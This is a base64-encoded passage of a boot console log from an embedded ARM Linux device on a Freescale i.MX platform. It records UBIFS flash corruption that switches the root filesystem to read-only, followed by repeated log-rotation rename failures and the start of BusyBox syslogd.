ZXIgcmVnaXN0ZXJlZC4gKElNWCkNClsgICAgMC43NTA0NzJdIFVCSTogYXR0YWNoaW5nIG10ZDMg
dG8gdWJpMA0KWyAgICAwLjc1NDMxM10gVUJJOiBwaHlzaWNhbCBlcmFzZWJsb2NrIHNpemU6ICAg
MjYyMTQ0IGJ5dGVzICgyNTYgS2lCKQ0KWyAgICAwLjc2MDY3MF0gVUJJOiBsb2dpY2FsIGVyYXNl
YmxvY2sgc2l6ZTogICAgMjUzOTUyIGJ5dGVzDQpbICAgIDAuNzY2MDcwXSBVQkk6IHNtYWxsZXN0
IGZsYXNoIEkvTyB1bml0OiAgICA0MDk2DQpbICAgIDAuNzcwODAxXSBVQkk6IFZJRCBoZWFkZXIg
b2Zmc2V0OiAgICAgICAgICA0MDk2IChhbGlnbmVkIDQwOTYpDQpbICAgIDAuNzc2ODA4XSBVQkk6
IGRhdGEgb2Zmc2V0OiAgICAgICAgICAgICAgICA4MTkyDQpbICAgIDEuMDM5MDE3XSBVQkk6IG1h
eC4gc2VxdWVuY2UgbnVtYmVyOiAgICAgICA0NTA3Mg0KWyAgICAxLjA0NzYyMV0gVUJJOiBhdHRh
Y2hlZCBtdGQzIHRvIHViaTANClsgICAgMS4wNTE0MDJdIFVCSTogTVREIGRldmljZSBuYW1lOiAg
ICAgICAgICAgICJmaWxlc3lzdGVtIg0KWyAgICAxLjA1NjgwM10gVUJJOiBNVEQgZGV2aWNlIHNp
emU6ICAgICAgICAgICAgMTcwIE1pQg0KWyAgICAxLjA2MTc5MF0gVUJJOiBudW1iZXIgb2YgZ29v
ZCBQRUJzOiAgICAgICAgNjgwDQpbICAgIDEuMDY2NDA4XSBVQkk6IG51bWJlciBvZiBiYWQgUEVC
czogICAgICAgICAwDQpbICAgIDEuMDcwODYxXSBVQkk6IG51bWJlciBvZiBjb3JydXB0ZWQgUEVC
czogICAwDQpbICAgIDEuMDc1MzA2XSBVQkk6IG1heC4gYWxsb3dlZCB2b2x1bWVzOiAgICAgICAx
MjgNClsgICAgMS4wNzk5MzNdIFVCSTogd2Vhci1sZXZlbGluZyB0aHJlc2hvbGQ6ICAgIDQwOTYN
ClsgICAgMS4wODQ2MzhdIFVCSTogbnVtYmVyIG9mIGludGVybmFsIHZvbHVtZXM6IDENClsgICAg
MS4wODkwOTBdIFVCSTogbnVtYmVyIG9mIHVzZXIgdm9sdW1lczogICAgIDENClsgICAgMS4wOTM1
MzRdIFVCSTogYXZhaWxhYmxlIFBFQnM6ICAgICAgICAgICAgIDANClsgICAgMS4wOTc5NzddIFVC
STogdG90YWwgbnVtYmVyIG9mIHJlc2VydmVkIFBFQnM6IDY4MA0KWyAgICAxLjEwMjg2M10gVUJJ
OiBudW1iZXIgb2YgUEVCcyByZXNlcnZlZCBmb3IgYmFkIFBFQiBoYW5kbGluZzogNg0KWyAgICAx
LjEwODg3OF0gVUJJOiBtYXgvbWVhbiBlcmFzZSBjb3VudGVyOiAyMDAvNjUNClsgICAgMS4xMTM0
MDldIFVCSTogaW1hZ2Ugc2VxdWVuY2UgbnVtYmVyOiAgMjEwNzg0NTg3DQpbICAgIDEuMTE4MjA2
XSBVQkk6IGJhY2tncm91bmQgdGhyZWFkICJ1YmlfYmd0MGQiIHN0YXJ0ZWQsIFBJRCA0NTkNClsg
ICAgMS4xMjQxNTRdIEFSQyBVU0JPVEcgRGV2aWNlIENvbnRyb2xsZXIgZHJpdmVyICgxIEF1Z3Vz
dCAyMDA1KQ0KWyAgICAxLjEzMDE5OV0gYWRkIHdha2UgdXAgc291cmNlIGlycSA3NQ0KWyAgICAx
LjEzNzM5OV0gbXlfYmF0dF9leHRfcG93ZXJfY2hhbmdlZCENClsgICAgMS4xNDExOTNdIEl0IGlz
IG5vdCB1c2Igc3VwcGx5IQ0KWyAgICAxLjE0NDY0M10gY3B1aWRsZTogdXNpbmcgZ292ZXJub3Ig
bGFkZGVyDQpbICAgIDEuMTQ4NzgwXSBjcHVpZGxlOiB1c2luZyBnb3Zlcm5vciBtZW51DQpbICAg
IDEuMTUyODQ2XSBzZGhjaTogU2VjdXJlIERpZ2l0YWwgSG9zdCBDb250cm9sbGVyIEludGVyZmFj
ZSBkcml2ZXINClsgICAgMS4xNTkwNDhdIHNkaGNpOiBDb3B5cmlnaHQoYykgUGllcnJlIE9zc21h
bg0KWyAgICAxLjE2NDUwOF0gbW1jMDogbm8gdm1tYyByZWd1bGF0b3IgZm91bmQNClsgICAgMS4x
NzA3MDldIFBvd2VyaW5nIE9OIHdsMTJ4eA0KWyAgICAxLjE3Mzc4NF0gbW1jMDogU0RIQ0kgY29u
dHJvbGxlciBvbiBwbGF0Zm9ybSBbc2RoY2ktZXNkaGMtaW14LjBdIHVzaW5nIEFETUENClsgICAg
MS4xOTQxMzVdIFRoZXJtYWwgY2FsaWJyYXRpb24gZGF0YSBpcyAweDU3ZjRlZDY5DQpbICAgIDEu
MTk4OTg5XSBUaGVybWFsIHNlbnNvciB3aXRoIHJhdGlvID0gMTgyDQpbICAgIDEuMjIxMzAyXSBB
bmF0b3AgVGhlcm1hbCByZWdpc3RlcmVkIGFzIHRoZXJtYWxfem9uZTANClsgICAgMS4yMjc1OThd
IGFuYXRvcF90aGVybWFsX3Byb2JlOiBkZWZhdWx0IGNvb2xpbmcgZGV2aWNlIGlzIGNwdWZyZXEh
DQpbICAgIDEuMjM1OTk2XSBhbmF0b3BfdGhlcm1hbF9wcm9iZTogQ3JpdCAzODgsIGhvdCAzODMs
IGFjdGl2ZSAzNzgNClsgICAgMS4yNDE5NTBdIG1tYzA6IGNhcmQgY2xhaW1zIHRvIHN1cHBvcnQg
dm9sdGFnZXMgYmVsb3cgdGhlIGRlZmluZWQgcmFuZ2UuIFRoZXNlIHdpbGwgYmUgaWdub3JlZC4N
ClsgICAgMS4yNTEyMjhdIE5FVDogUmVnaXN0ZXJlZCBwcm90b2NvbCBmYW1pbHkgMjYNClsgICAg
MS4yNTU3MTddIFRDUCBjdWJpYyByZWdpc3RlcmVkDQpbICAgIDEuMjYyMDEyXSBORVQ6IFJlZ2lz
dGVyZWQgcHJvdG9jb2wgZmFtaWx5IDE3DQpbICAgIDEuMjY2NTYwXSBCbHVldG9vdGg6IFJGQ09N
TSBUVFkgbGF5ZXIgaW5pdGlhbGl6ZWQNClsgICAgMS4yNzQ1MzFdIEJsdWV0b290aDogUkZDT01N
IHNvY2tldCBsYXllciBpbml0aWFsaXplZA0KWyAgICAxLjI3OTcxMF0gQmx1ZXRvb3RoOiBSRkNP
TU0gdmVyIDEuMTENClsgICAgMS4yODM1MDFdIGxpYjgwMjExOiBjb21tb24gcm91dGluZXMgZm9y
IElFRUU4MDIuMTEgZHJpdmVycw0KWyAgICAxLjI4OTIwOF0gUmVnaXN0ZXJpbmcgdGhlIGRuc19y
ZXNvbHZlciBrZXkgdHlwZQ0KWyAgICAxLjI5Mzk1MV0gVkZQIHN1cHBvcnQgdjAuMzogaW1wbGVt
ZW50b3IgNDEgYXJjaGl0ZWN0dXJlIDMgcGFydCAzMCB2YXJpYW50IDkgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICByZXYgNA0KWyAgICAxLjMwMTc5Nl0gQnVz
IGZyZXEgZHJpdmVyIG1vZHVsZSBsb2FkZWQNClsgICAgMS4zMDU4NDZdIEJ1cyBmcmVxIGRyaXZl
ciBFbmFibGVkDQpbICAgIDEuMzExMDM0XSBteGNfZHZmc19jb3JlX3Byb2JlDQpbICAgIDEuMzE0
MzcxXSBEVkZTIGRyaXZlciBtb2R1bGUgbG9hZGVkDQpbICAgIDEuMzE5MDk5XSByZWd1bGF0b3Jf
aW5pdF9jb21wbGV0ZTogdmRkcHU6IGluY29tcGxldGUgY29uc3RyYWludHMsIGxlYXZpbmcgb24N
ClsgICAgMS4zNDI0MTBdIG1tYzA6IHF1ZXVpbmcgdW5rbm93biBDSVMgdHVwbGUgMHg5MSAoMyBi
eXRlcykNClsgICAgMS4zNDkzNjddIG1tYzA6IG5ldyBoaWdoIHNwZWVkIFNESU8gY2FyZCBhdCBh
ZGRyZXNzIDAwMDENClsgICAgMS4zNTUxNzVdIFBvd2VyaW5nIE9GRiB3bDEyeHgNClsgICAgMS4z
NzM5NTddIFVCSUZTOiByZWNvdmVyeSBuZWVkZWQNClsgICAgMS40NTgzMjJdIFVCSUZTOiByZWNv
dmVyeSBjb21wbGV0ZWQNClsgICAgMS40NjE5OTJdIFVCSUZTOiBtb3VudGVkIFVCSSBkZXZpY2Ug
MCwgdm9sdW1lIDAsIG5hbWUgInJvb3RmcyINClsgICAgMS40NjgwMDJdIFVCSUZTOiBmaWxlIHN5
c3RlbSBzaXplOiAgIDE2NzYwODMyMCBieXRlcyAoMTYzNjgwIEtpQiwgMTU5IE1pQiwgNjYwIExF
QnMpDQpbICAgIDEuNDc2MDA4XSBVQklGUzogam91cm5hbCBzaXplOiAgICAgICA4MzgwNDE2IGJ5
dGVzICg4MTg0IEtpQiwgNyBNaUIsIDMzIExFQnMpDQpbICAgIDEuNDgzNzE1XSBVQklGUzogbWVk
aWEgZm9ybWF0OiAgICAgICB3NC9yMCAobGF0ZXN0IGlzIHc0L3IwKQ0KWyAgICAxLjQ4OTU2Ml0g
VUJJRlM6IGRlZmF1bHQgY29tcHJlc3NvcjogbHpvDQpbICAgIDEuNDkzNjYwXSBVQklGUzogcmVz
ZXJ2ZWQgZm9yIHJvb3Q6ICA0OTUyNjgzIGJ5dGVzICg0ODM2IEtpQikNClsgICAgMS41MDA2ODRd
IFZGUzogTW91bnRlZCByb290ICh1YmlmcyBmaWxlc3lzdGVtKSBvbiBkZXZpY2UgMDoxMy4NClsg
ICAgMS41MDc3NDRdIGRldnRtcGZzOiBtb3VudGVkDQpbICAgIDEuNTEwNzc0XSBGcmVlaW5nIGlu
aXQgbWVtb3J5OiAxMjRLDQpbICAgIDEuNzk3MTQxXSBVQkkgZXJyb3I6IHViaV9pb19yZWFkOiBl
cnJvciAtNzQgKEVDQyBlcnJvcikgd2hpbGUgcmVhZGluZyAyNTM5NTIgYnl0ZXMgZnJvbSBQRUIg
NDQ1OjgxOTIsIHJlYWQgMjUzOTUyIGJ5dGVzDQpbICAgIDEuODA4Mjc0XSBVQklGUyBlcnJvciAo
cGlkIDQ5MSk6IHViaWZzX3NjYW46IGNvcnJ1cHQgZW1wdHkgc3BhY2UgYXQgTEVCIDQ4OToyMzM3
NjANClsgICAgMS44MTYwMzddIFVCSUZTIGVycm9yIChwaWQgNDkxKTogdWJpZnNfc2Nhbm5lZF9j
b3JydXB0aW9uOiBjb3JydXB0aW9uIGF0IExFQiA0ODk6MjMzNzYwDQpbICAgIDEuODI4NjYwXSBV
QklGUyBlcnJvciAocGlkIDQ5MSk6IHViaWZzX3NjYW46IExFQiA0ODkgc2Nhbm5pbmcgZmFpbGVk
DQpbICAgIDEuODM1MjE1XSBVQklGUyB3YXJuaW5nIChwaWQgNDkxKTogdWJpZnNfcm9fbW9kZTog
c3dpdGNoZWQgdG8gcmVhZC1vbmx5IG1vZGUsIGVycm9yIC0xMTcNClsgICAgMS44NDM1MDJdIFVC
SUZTIGVycm9yIChwaWQgNDkxKTogbWFrZV9yZXNlcnZhdGlvbjogY2Fubm90IHJlc2VydmUgNTgg
Ynl0ZXMgaW4gamhlYWQgMiwgZXJyb3IgLTExNw0KWyAgICAxLjg1MjU2OV0gVUJJRlMgZXJyb3Ig
KHBpZCA0OTEpOiBkb193cml0ZXBhZ2U6IGNhbm5vdCB3cml0ZSBwYWdlIDAgb2YgaW5vZGUgNzY1
ODQsIGVycm9yIC0xMTcNCmRwa2c6IGVycm9yOiB1bmFibGUgdG8gc3luYyBuZXcgZmlsZSAnL3Zh
ci9saWIvZHBrZy9hcmNoLW5ldyc6IFN0cnVjdHVyZSBuZWVkcyBjbGVhbmluZw0KDQpQbGVhc2Ug
cHJlc3MgRW50ZXIgdG8gYWN0aXZhdGUgdGhpcyBjb25zb2xlLiBtdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzAxLXByZSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgdmVudC1kaXNwbGF5LXNsZWVwLjI4Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpt
djogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4yNy5n
eic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQt
ZGlzcGxheS1zbGVlcC4yNi5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4yNS5neic6IFJlYWQtb25seSBmaWxlIHN5
cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4yNC5neic6
IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlz
cGxheS1zbGVlcC4yMy5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4yMi5neic6IFJlYWQtb25seSBmaWxlIHN5cyAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2Fu
J3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4yMS5neic6IFJl
YWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxh
eS1zbGVlcC4yMC5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8v
UzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4xOS5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4xOC5neic6IFJlYWQt
b25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1z
bGVlcC4xNy5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAx
LXByZXZlbnQtZGlzcGxheS1zbGVlcC4xNi5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4xNS5neic6IFJlYWQtb25s
eSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVl
cC4xNC5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXBy
ZXZlbnQtZGlzcGxheS1zbGVlcC4xMy5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1l
ICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4xMi5neic6IFJlYWQtb25seSBm
aWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC4x
MS5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZl
bnQtZGlzcGxheS1zbGVlcC4xMC5neic6IFJlYWQtb25seSBmaWxlIHN5cyAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgdGVtDQptdjogY2FuJ3QgcmVuYW1lICcv
dmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC45Lmd6JzogUmVhZC1vbmx5IGZpbGUg
c3lzdCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9TMDEtcHJldmVudC1kaXNwbGF5LXNsZWVwLjguZ3on
OiBSZWFkLW9ubHkgZmlsZSBzeXN0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICBlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwMS1wcmV2ZW50LWRp
c3BsYXktc2xlZXAuNy5neic6IFJlYWQtb25seSBmaWxlIHN5c3QgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xv
Zy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVlcC42Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdCAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW0NCm12OiBjYW4n
dCByZW5hbWUgJy92YXIvbG9nLy9TMDEtcHJldmVudC1kaXNwbGF5LXNsZWVwLjUuZ3onOiBSZWFk
LW9ubHkgZmlsZSBzeXN0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICBlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwMS1wcmV2ZW50LWRpc3BsYXkt
c2xlZXAuNC5neic6IFJlYWQtb25seSBmaWxlIHN5c3QgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgIGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAx
LXByZXZlbnQtZGlzcGxheS1zbGVlcC4zLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdCAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW0NCm12OiBjYW4ndCByZW5h
bWUgJy92YXIvbG9nLy9TMDEtcHJldmVudC1kaXNwbGF5LXNsZWVwLjIuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBl
bQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL1MwMS1wcmV2ZW50LWRpc3BsYXktc2xlZXAu
MS5neic6IFJlYWQtb25seSBmaWxlIHN5c3QgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgIGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZl
bnQtZGlzcGxheS1zbGVlcC4wLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdCAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZW0NCmd6aXA6IGNhbid0IG9wZW4gJy92
YXIvbG9nLy9TMDEtcHJldmVudC1kaXNwbGF5LXNsZWVwLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lz
dGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vUzAxLXByZXZlbnQtZGlzcGxheS1zbGVl
cC5neic6IE5vIHN1Y2ggZmlsZSBvciBkaXJlYyAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgdG9yeQ0KL2V0Yy9pbml0LmQvcmM1LmQvUzAxLXByZXZlbnQtZGlz
cGxheS1zbGVlcDogbGluZSA0OiBjYW4ndCBjcmVhdGUgL3Zhci9sb2cvL1MwMS0gICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIHByZXZlbnQtZGlzcGxheS1zbGVl
cDogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vbWVz
c2FnZXMuMjguZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbG9nLy9tZXNzYWdlcy4yNy5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0
IHJlbmFtZSAnL3Zhci9sb2cvL21lc3NhZ2VzLjI2Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVt
DQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vbWVzc2FnZXMuMjUuZ3onOiBSZWFkLW9ubHkg
ZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9tZXNzYWdlcy4yNC5neic6
IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL21lc3Nh
Z2VzLjIzLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFy
L2xvZy8vbWVzc2FnZXMuMjIuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCBy
ZW5hbWUgJy92YXIvbG9nLy9tZXNzYWdlcy4yMS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0K
bXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL21lc3NhZ2VzLjIwLmd6JzogUmVhZC1vbmx5IGZp
bGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vbWVzc2FnZXMuMTkuZ3onOiBS
ZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9tZXNzYWdl
cy4xOC5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9s
b2cvL21lc3NhZ2VzLjE3Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVu
YW1lICcvdmFyL2xvZy8vbWVzc2FnZXMuMTYuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12
OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9tZXNzYWdlcy4xNS5neic6IFJlYWQtb25seSBmaWxl
IHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL21lc3NhZ2VzLjE0Lmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vbWVzc2FnZXMu
MTMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9n
Ly9tZXNzYWdlcy4xMi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFt
ZSAnL3Zhci9sb2cvL21lc3NhZ2VzLjExLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjog
Y2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vbWVzc2FnZXMuMTAuZ3onOiBSZWFkLW9ubHkgZmlsZSBz
eXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9tZXNzYWdlcy45Lmd6JzogUmVhZC1v
bmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vbWVzc2FnZXMuOC5n
eic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL21l
c3NhZ2VzLjcuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92
YXIvbG9nLy9tZXNzYWdlcy42Lmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3Qg
cmVuYW1lICcvdmFyL2xvZy8vbWVzc2FnZXMuNS5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0K
bXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cvL21lc3NhZ2VzLjQuZ3onOiBSZWFkLW9ubHkgZmls
ZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9tZXNzYWdlcy4zLmd6JzogUmVh
ZC1vbmx5IGZpbGUgc3lzdGVtDQptdjogY2FuJ3QgcmVuYW1lICcvdmFyL2xvZy8vbWVzc2FnZXMu
Mi5neic6IFJlYWQtb25seSBmaWxlIHN5c3RlbQ0KbXY6IGNhbid0IHJlbmFtZSAnL3Zhci9sb2cv
L21lc3NhZ2VzLjEuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0NCm12OiBjYW4ndCByZW5hbWUg
Jy92YXIvbG9nLy9tZXNzYWdlcy4wLmd6JzogUmVhZC1vbmx5IGZpbGUgc3lzdGVtDQpnemlwOiBj
YW4ndCBvcGVuICcvdmFyL2xvZy8vbWVzc2FnZXMuZ3onOiBSZWFkLW9ubHkgZmlsZSBzeXN0ZW0N
Cm12OiBjYW4ndCByZW5hbWUgJy92YXIvbG9nLy9tZXNzYWdlcy5neic6IE5vIHN1Y2ggZmlsZSBv
ciBkaXJlY3RvcnkNCi9ldGMvaW5pdC5kL3JjNS5kL1MwMS1zeXNsb2dkOiBsaW5lIDQ6IGNhbid0
IGNyZWF0ZSAvdmFyL2xvZy8vbWVzc2FnZXM6IFJlYWQtb25sICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICB5IGZpbGUgc3lzdGVtDQpKYW4gIDEgMDA6MDA6MDEg
QlVJMjcwIHN5c2xvZy5pbmZvIHN5c2xvZ2Qgc3RhcnRlZDogQnVzeUJveCB2MS4yMS4xDQpKYW4g
IDEgMDA6MDA6MDEgQlVJMjcwIHVzZXIubm90aWNlIGtlcm5lbDoga2xvZ2Qgc3RhcnRlZDogQnVz
eUJveCB2MS4yMS4xICgyMDE1LSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgMDctMzAgMTc6MjA6MTIgSVNUKQ0KSmFuICAxIDAwOjAwOjAxIEJVSTI3MCB1c2Vy
Lm5vdGljZSBrZXJuZWw6IFsgICAgMC4wMDAwMDBdIExpbnV4IHZlcnNpb24gMy4wLjM1LTAgICAg
ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDAwNjItZzYxYWQxYWQg
KHJzZTFjb2JAa29yMzAzMTAxX1VidW50dTEwMDQpIChnY2MgdmVyc2lvbiA0LjYuMiAyMDExMDYz
MCAocHJlcmVsICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBl
YXNlKSAoRnJlZXNjYWxlIE1BRCAtLSBMaW5hcm8gMjAxMS4wNyAtLSBCdWlsdCBhdCAyMDExLzA4
LzEwIDA5OjIwKSApICMxIFBSRUVNUCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
ICAgICAgICAgICAgVCBGcmkgSmFuIDI5IDEwOjQyOjU1IENFVCAyMDE2DQpKYW4gIDEgMDA6MDA6
MDEgQlVJMjcwIHVzZXIud2FybiBrZXJuZWw6IFsgICAgMC4wMDAwMDBdIENQVTogQVJNdjcgUHJv
Y2Vzc29yIFs0MSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg
